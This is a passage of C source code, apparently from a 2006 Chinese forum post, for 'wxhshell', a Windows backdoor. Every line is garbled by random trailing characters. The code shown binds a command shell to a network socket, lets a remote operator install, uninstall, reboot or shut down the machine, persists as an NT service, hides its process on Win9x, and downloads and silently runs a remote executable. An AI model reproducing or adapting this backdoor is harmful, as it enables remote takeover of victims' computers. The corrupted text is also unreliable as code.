  else { ^R$dG[Qf  
DtN6.9H2`  
    switch(cmd[0]) { h ,n!x:zy@  
  ~VGK#'X:  
  // 帮助 Cwh;+3?C|  
  case '?': { [*<&]^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gjWH }(K  
    break; a[!d)Y:zx  
  } ;7A,'y4f  
  // 安装  "O 'I  
  case 'i': { ;C<A }  
    if(Install()) n)H0;25L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `->k7a0<b1  
    else `j$d(+Gv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l`]!)j|+  
    break; M*H G4(n0  
    } !Ch ya  
  // 卸载 PWU#`>4  
  case 'r': { =w8 YZs8w  
    if(Uninstall()) Lgfr"{C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); srkOa d  
    else < KA@A}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qw-qcG  
    break; Dw[Q,SE   
    } qTGy\i  
  // 显示 wxhshell 所在路径 ZSSgc0u^?  
  case 'p': { ?yb{DZ46  
    char svExeFile[MAX_PATH]; D-!%L<<  
    strcpy(svExeFile,"\n\r"); zK92:+^C   
      strcat(svExeFile,ExeFile); /km3L7L%R  
        send(wsh,svExeFile,strlen(svExeFile),0); el%Qxak`"  
    break; sJlKN  
    } A%O#S<sa  
  // 重启 jY.%~Y1y  
  case 'b': { e- CW4x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zE/(F;> FV  
    if(Boot(REBOOT)) 3Cl9,Z"&6$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uf<vw3  
    else { 8(;i~f:bCW  
    closesocket(wsh); a40BisrD~6  
    ExitThread(0); >KFJ1}b|3  
    } "LWuN>   
    break; dp70sA!JF  
    } I2T2'_I  
  // 关机 k#&SWp=  
  case 'd': { .#J3UZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _@;N<$&  
    if(Boot(SHUTDOWN)) YLo$n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[{:o/]<  
    else { DPx,qM#h5O  
    closesocket(wsh); xTZ5q*Hqx  
    ExitThread(0); uSJP"Lw  
    } pAuwSn#i  
    break; 5XHkRcESZ  
    } {LDb*'5Cy  
  // 获取shell '7R'fhiO/3  
  case 's': { eV0S:mit  
    CmdShell(wsh); {[?|RC;\Y  
    closesocket(wsh); ~B@o?8D]  
    ExitThread(0); 8|GpfW3p 2  
    break; W V U9NmvE  
  } gi>_>zStv  
  // 退出 aO%FQ)BT  
  case 'x': { V1`| j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sQs5z~#51*  
    CloseIt(wsh); zOdKB2_J7  
    break; sD +G+  
    } E=NY{| >  
  // 离开 {SJ7Yfs  
  case 'q': { ?< QFW#:)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BaAb4{  
    closesocket(wsh); f4_G[?9,  
    WSACleanup(); '=.Uz3D'0  
    exit(1); JUFO.m^w  
    break; Q8oo5vqQ#C  
        } ~7a BeD  
  }  &7&*As  
  } 6DW|O<k^j  
R <\Yg3m8  
  // 提示信息 9m4rNvb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s= fKAxH  
} Dys"|,F  
  } 2*YXm>|1  
pNFIO t:(  
  return; jt--w"|-r  
} #>B1$(@  
pH%c7X/[3L  
// shell模块句柄 MA# !<b('  
int CmdShell(SOCKET sock) sLp LY1X  
{ rC `s;w  
STARTUPINFO si; p9WskYpm  
ZeroMemory(&si,sizeof(si)); vh8Kd' y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]#.&f]6l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &X,)+ b=  
PROCESS_INFORMATION ProcessInfo; %iC63)(M  
char cmdline[]="cmd"; y03a\K5[KQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O Zm[i H  
  return 0; D  .R  
} \#,#_  
"Cj#bUw  
// 自身启动模式 i6 ?JX@I  
int StartFromService(void) guXpHF=  
{ jgw'MpQm{  
typedef struct ]?$y}  
{ N-YZ0/c  
  DWORD ExitStatus; 2{Iz  
  DWORD PebBaseAddress; Sr 4 7u{n  
  DWORD AffinityMask;  89=JC[c  
  DWORD BasePriority; '|N4fbZd  
  ULONG UniqueProcessId; IFofF Xv_  
  ULONG InheritedFromUniqueProcessId; O>5u5n  
}   PROCESS_BASIC_INFORMATION; NOp=/  
&(^u19TKl  
PROCNTQSIP NtQueryInformationProcess; X]"OW  
1>x@1Mo+K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wg_CI,Kq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t>@3RBEK  
d|+jCTKS  
  HANDLE             hProcess; _hL4@ C  
  PROCESS_BASIC_INFORMATION pbi; gr{Sh`Cm-  
aB6LAb2z;T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A;a(n\Sy  
  if(NULL == hInst ) return 0; bvS\P!m\c  
C,vc aC?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,<r3Z$G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "sX?wTag  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SJ7=<y}[d  
>1pH 91c'  
  if (!NtQueryInformationProcess) return 0; ={@ @`yP^$  
6Ok=q:;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |P0L,R  
  if(!hProcess) return 0; ~LW%lMy;^|  
SSbK[aR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T4Gw\Z%  
4qXRDsbCf  
  CloseHandle(hProcess); '=G Ce%A  
Rn_W|"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lT!$\E$1   
if(hProcess==NULL) return 0; x&oBO{LNK,  
^_h7!=W  
HMODULE hMod; wK`ieHmp  
char procName[255]; R6Z}/m  
unsigned long cbNeeded; M #=5u`h  
~2DV{dyj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a;T[%'in  
y{I[}$k  
  CloseHandle(hProcess); 8 E+C:"  
[P c[{(  
if(strstr(procName,"services")) return 1; // 以服务启动 #L= eK8^e  
[d~bZS|(T(  
  return 0; // 注册表启动 (Cd{#j<  
} z "$d5XR  
}d\Tk(W  
// 主模块 f3>6:(  
int StartWxhshell(LPSTR lpCmdLine) v:Z4z6M-  
{ N?{1'=Om  
  SOCKET wsl; pW--^aHu  
BOOL val=TRUE; LI;EfyL  
  int port=0; S<]a@9W  
  struct sockaddr_in door; ?r E]s!K  
ig _<kj;Vd  
  if(wscfg.ws_autoins) Install(); OPt;G,$ta  
IgR"eu U  
port=atoi(lpCmdLine); {AL9o2  
akCo+ @  
if(port<=0) port=wscfg.ws_port; hd ;S>K/C  
q(tG bhQ  
  WSADATA data; P(gVF |J?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :htq%gPex9  
O:=|b]t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J1Ki2I=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S O:V|Tfj  
  door.sin_family = AF_INET; VMye5  P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ._MAHBx+G  
  door.sin_port = htons(port); dGD^op,6g  
DEQE7.]3q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CL'Xip')T  
closesocket(wsl); x gT~b9  
return 1; ~z _](HKoS  
} @?7{%j*  
3JZWhxkf[$  
  if(listen(wsl,2) == INVALID_SOCKET) { {+ 6D-rDw  
closesocket(wsl); V>jhGf  
return 1; SM /ykk  
} pz35trW  
  Wxhshell(wsl); LQ(5D_yG.  
  WSACleanup(); 'uf\.F  
q&Tn>B  
return 0; o|;eMO-  
=Wk/q_.  
}  e_~fJ  
>AzWM .r  
// 以NT服务方式启动  c(V=.+J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y-\A@jJC5  
{ <k\H`P  
DWORD   status = 0; c6Aut`dK  
  DWORD   specificError = 0xfffffff; "ryk\}*<  
@6 ;oN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r2GK_$vd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r -q3+c^+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iA3>X-x   
  serviceStatus.dwWin32ExitCode     = 0; d=Df.H+3  
  serviceStatus.dwServiceSpecificExitCode = 0; jWK@NXMH  
  serviceStatus.dwCheckPoint       = 0; ?cs]#6^  
  serviceStatus.dwWaitHint       = 0; !H1tBg]5  
rx6-~0!eI=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A6NxM8ybn+  
  if (hServiceStatusHandle==0) return; Ed^uA+D  
U7B/t3,=U  
status = GetLastError(); a\{1UD  
  if (status!=NO_ERROR) P wB g  
{ %nmY:}um  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "<w2v'6S  
    serviceStatus.dwCheckPoint       = 0; M. )}e7  
    serviceStatus.dwWaitHint       = 0; ^6a S]t  
    serviceStatus.dwWin32ExitCode     = status; * K,hrpYR  
    serviceStatus.dwServiceSpecificExitCode = specificError; $' (QTEM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) Kc%8hBv  
    return; 6mu<&m@  
  } )W1(tEq59  
BU9J_rCIv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -!|WZ   
  serviceStatus.dwCheckPoint       = 0;  gmRT1T  
  serviceStatus.dwWaitHint       = 0; Jh43)#G-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zRV!(Y  
} nJleef9  
)>y k-  
// 处理NT服务事件,比如:启动、停止 ^.D}k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a;"Uz|rz  
{ /BMtcCPG!  
switch(fdwControl) ms}f>f=  
{ @GG(7r\/B  
case SERVICE_CONTROL_STOP: V\6(d  
  serviceStatus.dwWin32ExitCode = 0; <8rgtu!VU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G` ,u40a  
  serviceStatus.dwCheckPoint   = 0; 3$c(M99r  
  serviceStatus.dwWaitHint     = 0; Il{^ j6  
  { [6; N3?+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 69C8-fF0[I  
  } zb5N,!%r  
  return; Xb]=:x(  
case SERVICE_CONTROL_PAUSE: I(]BMMj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wqlcLIJPR  
  break; IX<r5!  
case SERVICE_CONTROL_CONTINUE: ~^I\crx,U%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jow7t\wk  
  break; OGJ=VQA  
case SERVICE_CONTROL_INTERROGATE: {[2tG U9  
  break; |e*GzD  
}; Mlv<r=E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g ?afX1Sg  
} g .x=pt  
2yN%~C?$  
// 标准应用程序主函数 2wx!Lpr<i_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P</s)"@  
{ _+ twq i  
.Gizz</P~  
// 获取操作系统版本 5M%,N-P^  
OsIsNt=GetOsVer(); G HD^%)T5^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d/XlV]#2x\  
A7k'K4  
  // 从命令行安装 r^$\t0h(U8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6hkkNXqkf  
[N)#/ 6j  
  // 下载执行文件 oi2J :Y4  
if(wscfg.ws_downexe) {  YywEZ?X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j2|XD Of  
  WinExec(wscfg.ws_filenam,SW_HIDE); E: 9o;JU  
} % f2<U;ff  
iQt!PMF.  
if(!OsIsNt) { cYGRy,'gH  
// 如果时win9x,隐藏进程并且设置为注册表启动 2B7h9P.NB  
HideProc(); &*B>P>x  
StartWxhshell(lpCmdLine); izCaB~{/  
} -$U@By<SJ  
else u]HS(B,ht  
  if(StartFromService()) mZwi7s&u  
  // 以服务方式启动 tbq|,"  
  StartServiceCtrlDispatcher(DispatchTable); Ko#4z%Yq  
else z!fdx|PUX  
  // 普通方式启动 u(W^Nou/+  
  StartWxhshell(lpCmdLine); YgCc|W3{  
$v]T8|h  
return 0; o2DtCU-A  
}
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只看该作者 1 发表于: 2006-10-10
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